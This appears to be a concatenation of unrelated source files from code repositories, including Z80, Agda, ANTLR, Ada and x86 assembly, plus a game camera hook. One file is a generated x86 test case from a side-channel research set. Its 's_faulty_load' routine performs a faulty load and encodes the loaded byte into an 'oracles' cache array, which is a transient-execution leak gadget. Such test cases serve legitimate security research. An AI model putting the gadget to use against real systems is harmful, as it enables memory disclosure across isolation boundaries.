end SDL.Video;
|
utils.asm | vipoo/bbcbasic-z80 | 2 | 14645 |
PUBLIC DIV_HL_C, MATH_ABS_HL, MATH_POS_HL, MATH_NEG_HL, MATH_CP_HL_DE
; THE FOLLOWING ROUTINE DIVIDES HL BY C AND PLACES THE QUOTIENT IN HL AND THE REMAINDER IN A
; https://wikiti.brandonw.net/index.php?title=Z80_Routines:Math:Division#16.2F16_division
DIV_HL_C:
XOR A
LD B, 16
LOOP:
ADD HL, HL
RLA
JR C, DIV_HL_C1
CP C
JR C, DIV_HL_C2
DIV_HL_C1:
SUB C
INC L
DIV_HL_C2:
DJNZ LOOP
RET
MATH_ABS_HL:
BIT 7, H
RET Z
MATH_POS_HL:
XOR A
SUB L
LD L, A
SBC A, A
SUB H
LD H, A
RET
MATH_NEG_HL:
XOR A
SUB L
LD L,A
SBC A,A
SUB H
LD H,A
RET
; MATH_CP_HL_DE -> test if HL >= DE
; Input HL=A, DE=B
; Output C FLAG RESET IF TRUE
; C FLAG SET IF FALSE
MATH_CP_HL_DE:
LD A, H
XOR D
JP M, MATH_CP_HL_DE2
SBC HL, DE
RET NC
MATH_CP_HL_DE1:
SCF
RET
MATH_CP_HL_DE2:
BIT 7, D
JR Z, MATH_CP_HL_DE1
RET
|
src/main/antlr/org/zavodnikov/antlr4/expr/advanced/ExprAdvanced.g4 | dzavodnikov/ANTLR4 | 3 | 2197 | // Define a grammar called ExprAdvanced.
grammar ExprAdvanced;
@header {
package org.zavodnikov.antlr4.expr.advanced;
}
// Import rules from another file.
import CommonLexerRules;
// Parser rules (starts with lowercase letter).
prog : stat+ ;
// Labels definitions.
stat : expr NL # print
| ID '=' expr NL # assign
| NL # blank
;
// If you are using labels, you should add label for EACH alternative.
expr : expr op = (MUL | DIV) expr # MulDiv
| expr op = (ADD | SUB) expr # AddSub
| INT # Int
| ID # Id
| '(' expr ')' # Parens
;
// Lexer rules (starts with UPPERCASE letter).
MUL : '*' ;
DIV : '/' ;
ADD : '+' ;
SUB : '-' ;
/*
ID : [a-z]+ ; // Match lower-case identifiers.
INT : [0-9]+ ;
WS : [ \t\r\n]+ -> skip ;
*/
|
Partiality.agda | scturtle/fun.hs | 2 | 4504 | <reponame>scturtle/fun.hs
module Partiality where
{- port from http://www.soimort.org/posts/programs-and-proofs/ -}
open import Data.Bool using (Bool; false; true)
open import Data.Maybe using (Maybe; just; nothing)
open import Data.Char using (_==_) renaming (Char to Symbol)
open import Coinduction using (∞; ♯_; ♭)
-- open import Category.Monad.Partiality renaming (monad to PM)
-- open import Category.Monad using (RawMonad; module RawMonad)
data Expr : Set where
var : Symbol → Expr
lambda : Symbol → Expr → Expr
app : Expr → Expr → Expr
data Function : Set where
def : Expr → Function
mutual
data Env : Set where
ε : Env
_↦_,_ : Symbol → Value → Env → Env
data Value : Set where
closure : Function → Env → Value
exception : Value
lookup : Symbol → Env → Maybe Value
lookup sym ε = nothing
lookup sym (sym′ ↦ val , env) with sym == sym′
... | true = just val
... | false = lookup sym env
-- partiality monad
data _⊥ (A : Set) : Set where
now : A → A ⊥
later : ∞ (A ⊥) → A ⊥
return : {a : Set} → a → a ⊥
return = now
_>>=_ : {a b : Set} → a ⊥ → (a → b ⊥) → b ⊥
(now x) >>= f = f x
(later x) >>= f = later (♯ (♭ x >>= f))
infixl 40 _>>=_
{-# TERMINATING #-}
force : Value ⊥ → Value
force (now x) = x
force (later x) = force (♭ x)
mutual
{-# TERMINATING #-} -- TODO: ???
interp : Expr → Env → Value ⊥
interp (var x) env with lookup x env
... | just val = now val
... | nothing = now exception
interp (lambda x e) env = now (closure (def (lambda x e)) env)
interp (app e₁ e₂) env = later (♯ apply (interp e₁ env) (interp e₂ env))
apply : Value ⊥ → Value ⊥ → Value ⊥
apply (later f) a = later (♯ apply (♭ f) a)
apply (now (closure (def (lambda x e)) env)) a =
a >>= \a′ → interp e (x ↦ a′ , env)
-- let open RawMonad PM in a >>= \a′ → interp e (x ↦ a′ , env)
apply _ _ = now exception
e0 = ε
t1 = lambda 'a' (var 'a')
t2 = app (lambda 'x' (var 'x')) (lambda 'a' (var 'a'))
t3 = app (app (lambda 'f' (lambda 'x' (app (var 'f') (var 'x'))))
(lambda 'a' (var 'a')))
(lambda 'b' (var 'b'))
t4 = app (lambda 'x' (app (var 'x') (var 'x')))
(lambda 'x' (app (var 'x') (var 'x')))
r1 = force (interp t1 e0)
r2 = force (interp t2 e0)
r3 = force (interp t3 e0)
r4 = force (interp t4 e0)
|
Transynther/x86/_processed/NONE/_xt_sm_/i7-7700_9_0x48.log_21829_2781.asm | ljhsiun2/medusa | 9 | 103056 | <gh_stars>1-10
.global s_prepare_buffers
s_prepare_buffers:
push %r14
push %r15
push %r9
push %rax
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_UC_ht+0x15974, %r9
clflush (%r9)
nop
nop
dec %rax
mov $0x6162636465666768, %rdx
movq %rdx, %xmm2
vmovups %ymm2, (%r9)
nop
nop
inc %r15
lea addresses_A_ht+0x13bb4, %rax
clflush (%rax)
nop
nop
nop
nop
dec %rsi
mov $0x6162636465666768, %r14
movq %r14, %xmm0
vmovups %ymm0, (%rax)
cmp %rdx, %rdx
lea addresses_UC_ht+0x6f94, %rdx
nop
nop
nop
add %rbp, %rbp
movb $0x61, (%rdx)
nop
nop
nop
cmp $41932, %rdx
lea addresses_normal_ht+0x17eb4, %rbp
nop
nop
nop
nop
nop
cmp $32458, %r9
mov (%rbp), %r14
nop
nop
nop
add %r15, %r15
lea addresses_normal_ht+0x824c, %r15
nop
and %rbp, %rbp
movb (%r15), %dl
nop
cmp $48733, %rax
lea addresses_normal_ht+0x12db4, %rsi
lea addresses_WC_ht+0x1d154, %rdi
nop
nop
nop
nop
add %rdx, %rdx
mov $47, %rcx
rep movsl
nop
nop
and %rbp, %rbp
lea addresses_D_ht+0xabc4, %rcx
nop
nop
nop
nop
add %rdi, %rdi
mov $0x6162636465666768, %r9
movq %r9, %xmm6
and $0xffffffffffffffc0, %rcx
vmovaps %ymm6, (%rcx)
nop
nop
nop
nop
nop
sub %r15, %r15
lea addresses_A_ht+0x46b4, %rcx
add $756, %rdi
movb $0x61, (%rcx)
add %rax, %rax
lea addresses_A_ht+0x78b4, %rsi
nop
nop
nop
and $58875, %rbp
movl $0x61626364, (%rsi)
nop
nop
xor %rsi, %rsi
lea addresses_D_ht+0x128d6, %rsi
clflush (%rsi)
nop
sub %rdi, %rdi
vmovups (%rsi), %ymm6
vextracti128 $1, %ymm6, %xmm6
vpextrq $0, %xmm6, %r15
nop
nop
nop
nop
sub $43731, %r15
lea addresses_WT_ht+0x1789c, %rbp
nop
nop
nop
nop
nop
and $16310, %rdx
mov $0x6162636465666768, %r14
movq %r14, %xmm6
movups %xmm6, (%rbp)
nop
nop
nop
cmp $21002, %r9
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r9
pop %r15
pop %r14
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r15
push %r8
push %r9
push %rbx
push %rcx
push %rsi
// Store
lea addresses_UC+0x1e8b4, %r8
clflush (%r8)
nop
nop
add %rsi, %rsi
mov $0x5152535455565758, %r15
movq %r15, (%r8)
nop
nop
nop
xor $25360, %r15
// Faulty Load
lea addresses_UC+0x1e8b4, %rsi
nop
add %rbx, %rbx
mov (%rsi), %r15d
lea oracles, %r12
and $0xff, %r15
shlq $12, %r15
mov (%r12,%r15,1), %r15
pop %rsi
pop %rcx
pop %rbx
pop %r9
pop %r8
pop %r15
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_UC', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': True, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': True, 'NT': True}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_UC', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 6, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 8, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 4, 'size': 1, 'same': False, 'NT': True}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 8, 'size': 8, 'same': False, 'NT': True}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': True, 'congruent': 4, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 9, 'size': 1, 'same': False, 'NT': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 10, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 0, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 3, 'size': 16, 'same': False, 'NT': False}}
{'58': 21829}
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58
*/
|
src/actions-comment.adb | psyomn/agen | 1 | 807 | -- Copyright 2014-2019 <NAME> (psyomn)
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
with Ada.Text_IO; use Ada.Text_IO;
with Ada.Characters.Handling; use Ada.Characters.Handling;
with Agen; use Agen;
with Argument_Stack;
package body Actions.Comment is
procedure Help is
begin
Put_Line(" (cmm|comment)");
Put_Line(" (desc|description) <message> - Print a description doc comment");
Put_Line(" (ex|exception) <name> <mesage> - Print an exception doc comment");
Put_Line(" field <name> <message> - Print a field doc comment");
Put_Line(" param <name> <message> - Print a param doc comment");
Put_Line(" (ret|return) <message> - Prints a return doc comment");
Put_Line(" (summ|summary) <message> - Print a summary doc comment");
Put_Line(" value <name> <message> - Print a value doc comment");
end Help;
function Try_Act return Boolean is
begin
if Argument_Stack.Is_Empty then goto Fail; end if;
declare
Action : constant String := Argument_Stack.Pop;
begin
if To_Upper(Action) /= "CMM" and To_Upper(Action) /= "COMMENT" then
goto Fail;
end if;
end;
-- We don't need to verify a target exists, because no target is a normal comment. As a result of this, we don't actually need any arguments in the stack, because we can always create an empty comment. So instead of failing, goto the creation of a basic comment
if Argument_Stack.Is_Empty then goto Basic_Comment; end if;
declare
Target : constant String := Argument_Stack.Pop;
begin
if To_Upper(Target) = "DESC" or To_Upper(Target) = "DESCRIPTION" then
Print_Description_Comment(Argument_Stack.Pop_Remaining);
return True;
elsif To_Upper(Target) = "EX" or To_Upper(Target) = "EXCEPTION" then
if Argument_Stack.Is_Empty then
Put_Line(Standard_Error, "Error: No exception name was specified");
goto Fail;
end if;
declare
Name : constant String := Argument_Stack.Pop;
begin
Print_Exception_Comment(Name, Argument_Stack.Pop_Remaining);
return True;
end;
elsif To_Upper(Target) = "FIELD" then
if Argument_Stack.Is_Empty then
Put_Line(Standard_Error, "Error: No field name was specified");
goto Fail;
end if;
declare
Name : constant String := Argument_Stack.Pop;
begin
Print_Field_Comment(Name, Argument_Stack.Pop_Remaining);
return True;
end;
elsif To_Upper(Target) = "PARAM" then
if Argument_Stack.Is_Empty then
Put_Line(Standard_Error, "Error: No param name was specified");
goto Fail;
end if;
declare
Name : constant String := Argument_Stack.Pop;
begin
Print_Param_Comment(Name, Argument_Stack.Pop_Remaining);
return True;
end;
elsif To_Upper(Target) = "RET" or To_Upper(Target) = "RETURN" then
Print_Return_Comment(Argument_Stack.Pop_Remaining);
return True;
elsif To_Upper(Target) = "SUMM" or To_Upper(Target) = "SUMMARY" then
Print_Summary_Comment(Argument_Stack.Pop_Remaining);
return True;
elsif To_Upper(Target) = "VALUE" then
if Argument_Stack.Is_Empty then
Put_Line(Standard_Error, "Error: No value name was specified");
goto Fail;
end if;
declare
Name : constant String := Argument_Stack.Pop;
begin
Print_Value_Comment(Name, Argument_Stack.Pop_Remaining);
return True;
end;
else
--The "Target" was really the first word of the message, so put it back
Argument_Stack.Push_Back;
goto Basic_Comment;
end if;
end;
<<Basic_Comment>>
Print_Comment(Argument_Stack.Pop_Remaining);
return True;
<<Fail>>
Argument_Stack.Reset;
return False;
end Try_Act;
end Actions.Comment;
|
test/Succeed/Issue1997.agda | alhassy/agda | 3 | 12815 | <gh_stars>1-10
-- Andreas, 2016-06-01, issue 1997 reported by Andres
{-# OPTIONS --rewriting #-}
infix 4 _≡_
infixl 6 _+_
data _≡_ {a} {A : Set a} (x : A) : A → Set a where
refl : x ≡ x
{-# BUILTIN REWRITE _≡_ #-}
cong : ∀ {a b} {A : Set a} {B : Set b}
(f : A → B) {x y} → x ≡ y → f x ≡ f y
cong f refl = refl
data ℕ : Set where
zero : ℕ
suc : (n : ℕ) → ℕ
_+_ : ℕ → ℕ → ℕ
zero + m = m
suc n + m = suc (n + m)
plus0 : (x : ℕ) → x + zero ≡ x
plus0 zero = refl
plus0 (suc x) = cong suc (plus0 x)
{-# REWRITE plus0 #-}
{-# REWRITE plus0 #-}
-- Should complain about duplicate rewrite rule
|
src/el-beans.ads | My-Colaborations/ada-el | 0 | 18390 | <reponame>My-Colaborations/ada-el
-----------------------------------------------------------------------
-- EL.Beans -- Bean utilities
-- Copyright (C) 2011 <NAME>
-- Written by <NAME> (<EMAIL>)
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
-----------------------------------------------------------------------
with Ada.Containers.Indefinite_Vectors;
with Util.Beans.Basic;
with EL.Contexts;
with EL.Expressions;
package EL.Beans is
pragma Preelaborate;
-- ------------------------------
-- Bean Initialization
-- ------------------------------
-- The <b>Param_Value</b> describes a bean property that must be initialized by evaluating the
-- associated EL expression. A list of <b>Param_Value</b> can be used to initialize several
-- bean properties of an object. The bean object must implement the <b>Bean</b> interface
-- with the <b>Set_Value</b> operation.
type Param_Value (Length : Natural) is record
Name : String (1 .. Length);
Value : EL.Expressions.Expression;
end record;
package Param_Vectors is
new Ada.Containers.Indefinite_Vectors (Index_Type => Positive,
Element_Type => Param_Value,
"=" => "=");
-- Add a parameter to initialize the bean property identified by the name <b>Name</b>
-- to the value represented by <b>Value</b>. The value string is evaluated as a string or
-- as an EL expression.
procedure Add_Parameter (Container : in out Param_Vectors.Vector;
Name : in String;
Value : in String;
Context : in EL.Contexts.ELContext'Class);
-- Initialize the bean object by evaluation the parameters and set the bean property.
-- Each parameter expression is evaluated by using the EL context. The value is then
-- set on the bean object by using the bean <b>Set_Value</b> procedure.
procedure Initialize (Bean : in out Util.Beans.Basic.Bean'Class;
Params : in Param_Vectors.Vector;
Context : in EL.Contexts.ELContext'Class);
end EL.Beans;
|
Des_Ada/src/concrete_handler/p_stephandler-outputhandler.ads | VMika/Des_Ada | 0 | 11339 | WITH P_StepHandler;
USE P_StepHandler;
WITH Ada.Strings.Unbounded.Text_IO;
WITH P_StructuralTypes;
USE P_StructuralTypes;
WITH Ada.Sequential_IO;
package P_StepHandler.OutputHandler is
type OutputHandler is new T_StepHandler with private;
type Ptr_OutputHandler is access OutputHandler;
--- CONSTRUCTOR ---
function Make (Self : in out OutputHandler) return OutputHandler;
--- PROCEDURE ---
procedure Handle (Self : in out OutputHandler);
procedure Set_PaddingBitNumber (Self : in out OutputHandler;
Number : in Integer);
procedure Set_Output_Name (Self : in out OutputHandler;
Name : Unbounded_String);
PRIVATE
type OutputHandler is new P_StepHandler.T_StepHandler with record
PaddingBitNumber : Integer;
Output_Name : Unbounded_String;
end record;
end P_StepHandler.OutputHandler;
|
botw-freecam/src/interceptor.asm | S41L0R/botw-freecam | 0 | 25610 | <reponame>S41L0R/botw-freecam
.data
EXTERN g_get_camera_data: qword
EXTERN g_camera_active: byte
EXTERN g_camera_struct: qword
.code
asm_get_camera_data PROC
pushf
; Steal the camera pointer
push rbx
lea rbx, [r13 + rdx + 654h]
sub rbx, 24h
mov [g_camera_struct], rbx
pop rbx
cmp g_camera_active, 0
je original
jmp ending
original:
movbe [r13 + rdx + 654h], r14d
cvtss2sd xmm0, xmm0
ending:
popf
jmp [g_get_camera_data]
asm_get_camera_data ENDP
END
|
non_regression/switch_x86_linux_2.att.s.asm | LRGH/plasmasm | 1 | 173607 | <reponame>LRGH/plasmasm<filename>non_regression/switch_x86_linux_2.att.s.asm
.file "a28.c"
.text
.p2align 4,,15
# ----------------------
.globl PyToken_OneChar
.type PyToken_OneChar, @function
PyToken_OneChar:
.cfi_startproc
movl 4(%esp), %edx
movl $51, %eax
leal -37(%edx), %ecx
cmpl $89, %ecx
ja .L2
movsbl CSWTCH.1-37(%edx), %eax
.L2:
rep; ret
.cfi_endproc
.size PyToken_OneChar, .-PyToken_OneChar
# ----------------------
.p2align 4,,15
# ----------------------
.globl PyToken_TwoChars
.type PyToken_TwoChars, @function
PyToken_TwoChars:
.cfi_startproc
movl 4(%esp), %eax
movl 8(%esp), %edx
subl $33, %eax
cmpl $91, %eax
jbe .L45
.L33:
movl $51, %eax
.L6:
rep; ret
.p2align 4,,7
.p2align 3
.L45:
jmp *.L18(,%eax,4)
.p2align 4,,7
.p2align 3
.L17:
xorl %eax, %eax
cmpl $61, %edx
setne %al
leal 43(,%eax,8), %eax
ret
.p2align 4,,7
.p2align 3
.L7:
cmpl $61, %edx
movl $51, %eax
movl $29, %edx
cmove %edx, %eax
ret
.p2align 4,,7
.p2align 3
.L8:
cmpl $61, %edx
movl $51, %eax
movl $41, %edx
cmove %edx, %eax
ret
.p2align 4,,7
.p2align 3
.L9:
xorl %eax, %eax
cmpl $61, %edx
setne %al
leal 42(%eax,%eax,8), %eax
ret
.p2align 4,,7
.p2align 3
.L10:
cmpl $42, %edx
movl $36, %eax
je .L6
cmpl $61, %edx
movb $51, %al
movl $39, %edx
cmove %edx, %eax
ret
.p2align 4,,7
.p2align 3
.L11:
cmpl $61, %edx
movl $51, %eax
movl $37, %edx
cmove %edx, %eax
ret
.p2align 4,,7
.p2align 3
.L12:
cmpl $61, %edx
movl $51, %eax
movl $38, %edx
cmove %edx, %eax
ret
.p2align 4,,7
.p2align 3
.L13:
cmpl $47, %edx
movl $48, %eax
je .L6
cmpl $61, %edx
movb $51, %al
movl $40, %edx
cmove %edx, %eax
ret
.p2align 4,,7
.p2align 3
.L14:
cmpl $61, %edx
movl $51, %eax
movl $28, %edx
cmove %edx, %eax
ret
.p2align 4,,7
.p2align 3
.L15:
cmpl $61, %edx
movl $31, %eax
je .L6
cmpl $62, %edx
movb $51, %al
movl $35, %edx
cmove %edx, %eax
ret
.p2align 4,,7
.p2align 3
.L16:
cmpl $61, %edx
movl $51, %eax
movl $44, %edx
cmove %edx, %eax
ret
.cfi_endproc
.size PyToken_TwoChars, .-PyToken_TwoChars
# ----------------------
.section .rodata
.align 4
.L18:
.long .L7
.long .L33
.long .L33
.long .L33
.long .L8
.long .L9
.long .L33
.long .L33
.long .L33
.long .L10
.long .L11
.long .L33
.long .L12
.long .L33
.long .L13
.long .L33
.long .L33
.long .L33
.long .L33
.long .L33
.long .L33
.long .L33
.long .L33
.long .L33
.long .L33
.long .L33
.long .L33
.long .L33
.long .L14
.long .L15
.long .L33
.long .L33
.long .L33
.long .L33
.long .L33
.long .L33
.long .L33
.long .L33
.long .L33
.long .L33
.long .L33
.long .L33
.long .L33
.long .L33
.long .L33
.long .L33
.long .L33
.long .L33
.long .L33
.long .L33
.long .L33
.long .L33
.long .L33
.long .L33
.long .L33
.long .L33
.long .L33
.long .L33
.long .L33
.long .L33
.long .L33
.long .L16
.long .L33
.long .L33
.long .L33
.long .L33
.long .L33
.long .L33
.long .L33
.long .L33
.long .L33
.long .L33
.long .L33
.long .L33
.long .L33
.long .L33
.long .L33
.long .L33
.long .L33
.long .L33
.long .L33
.long .L33
.long .L33
.long .L33
.long .L33
.long .L33
.long .L33
.long .L33
.long .L33
.long .L33
.long .L33
.long .L17
# ----------------------
.section .text.startup,"ax",@progbits
.p2align 4,,15
# ----------------------
.globl main
.type main, @function
main:
.cfi_startproc
pushl %ebx
movl $51, %ebx
subl $8, %esp
movl 16(%esp), %eax
leal -37(%eax), %edx
cmpl $89, %edx
ja .L47
movsbl CSWTCH.1-37(%eax), %ebx
.L47:
movl %eax, 4(%esp)
movl %eax, (%esp)
call PyToken_TwoChars
addl $8, %esp
addl %ebx, %eax
popl %ebx
ret
.cfi_endproc
.size main, .-main
# ----------------------
.section .rodata
.align 32
.local CSWTCH.1
.type CSWTCH.1, @object
CSWTCH.1:
.byte 24
.byte 51
.byte 51
.byte 51
.byte 51
.byte 51
.byte 51
.byte 51
.byte 51
.byte 23
.byte 51
.byte 51
.byte 51
.byte 51
.byte 51
.byte 51
.byte 51
.byte 51
.byte 51
.byte 51
.byte 51
.byte 11
.byte 51
.byte 51
.byte 22
.byte 21
.byte 51
.byte 50
.byte 51
.byte 51
.byte 51
.byte 51
.byte 51
.byte 51
.byte 51
.byte 51
.byte 51
.byte 51
.byte 51
.byte 51
.byte 51
.byte 51
.byte 51
.byte 51
.byte 51
.byte 51
.byte 51
.byte 51
.byte 51
.byte 51
.byte 51
.byte 51
.byte 51
.byte 51
.byte 51
.byte 51
.byte 51
.byte 33
.byte 51
.byte 25
.byte 51
.byte 51
.byte 51
.byte 51
.byte 51
.byte 51
.byte 51
.byte 51
.byte 51
.byte 51
.byte 51
.byte 51
.byte 51
.byte 51
.byte 51
.byte 51
.byte 51
.byte 51
.byte 51
.byte 51
.byte 51
.byte 51
.byte 51
.byte 51
.byte 51
.byte 51
.byte 26
.byte 51
.byte 27
.byte 32
.size CSWTCH.1, 90
# ----------------------
.ident "GCC: (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3"
.section .note.GNU-stack,"",@progbits
|
Logic/Predicate.agda | Lolirofle/stuff-in-agda | 6 | 15488 | <filename>Logic/Predicate.agda
module Logic.Predicate where
open import Functional
import Lvl
open import Logic
open import Logic.Propositional
open import Type
open import Type.Properties.Inhabited
------------------------------------------
-- Existential quantification (Existance, Exists)
module _ {ℓ₁}{ℓ₂} where
record ∃ {Obj : Type{ℓ₁}} (Pred : Obj → Stmt{ℓ₂}) : Stmt{ℓ₁ Lvl.⊔ ℓ₂} where
eta-equality
constructor [∃]-intro
field
witness : Obj
⦃ proof ⦄ : Pred(witness)
[∃]-witness : ∀{Obj}{Pred} → ∃{Obj}(Pred) → Obj
[∃]-witness([∃]-intro(x) ⦃ _ ⦄ ) = x
[∃]-proof : ∀{Obj}{Pred} → (e : ∃{Obj}(Pred)) → Pred([∃]-witness(e))
[∃]-proof([∃]-intro(_) ⦃ proof ⦄ ) = proof
[∃]-elim : ∀{ℓ₃}{Obj}{Pred}{Z : Stmt{ℓ₃}} → (∀{x : Obj} → Pred(x) → Z) → (∃{Obj} Pred) → Z
[∃]-elim (f) ([∃]-intro(_) ⦃ proof ⦄) = f(proof)
syntax ∃{T}(λ x → y) = ∃❪ x ꞉ T ❫․ y
{- TODO: This would allow the syntax: ∃ₗ x ↦ P(x)
∃ₗ_ = ∃
infixl 1 ∃ₗ_
-}
private variable ℓ : Lvl.Level
private variable Obj X Y Z W : Type{ℓ}
private variable Pred P Q R : X → Type{ℓ}
[∃]-map-proof : (∀{x} → P(x) → Q(x)) → ((∃ P) → (∃ Q))
[∃]-map-proof (f) ([∃]-intro(x) ⦃ proof ⦄) = [∃]-intro(x) ⦃ f(proof) ⦄
[∃]-map : (f : X → X) → (∀{x} → P(x) → Q(f(x))) → ((∃ P) → (∃ Q))
[∃]-map f p ([∃]-intro(x) ⦃ proof ⦄) = [∃]-intro(f(x)) ⦃ p(proof) ⦄
[∃]-map₂ : (f : X → Y → Z) → (∀{x y} → P(x) → Q(y) → R(f x y)) → ((∃ P) → (∃ Q) → (∃ R))
[∃]-map₂ f p ([∃]-intro(x) ⦃ proof₁ ⦄) ([∃]-intro(y) ⦃ proof₂ ⦄) = [∃]-intro(f x y) ⦃ p proof₁ proof₂ ⦄
[∃]-map-proof-dependent : (ep : ∃ P) → (P(∃.witness ep) → Q(∃.witness ep)) → (∃ Q)
[∃]-map-proof-dependent ([∃]-intro(x) ⦃ proof ⦄) f = [∃]-intro(x) ⦃ f(proof) ⦄
------------------------------------------
-- Universal quantification (Forall, All)
∀ₗ : (Pred : Obj → Stmt{ℓ}) → Stmt
∀ₗ (Pred) = (∀{x} → Pred(x))
[∀]-intro : ((a : Obj) → Pred(a)) → ∀ₗ(x ↦ Pred(x))
[∀]-intro p{a} = p(a)
[∀]-elim : ∀ₗ(x ↦ Pred(x)) → (a : Obj) → Pred(a)
[∀]-elim p(a) = p{a}
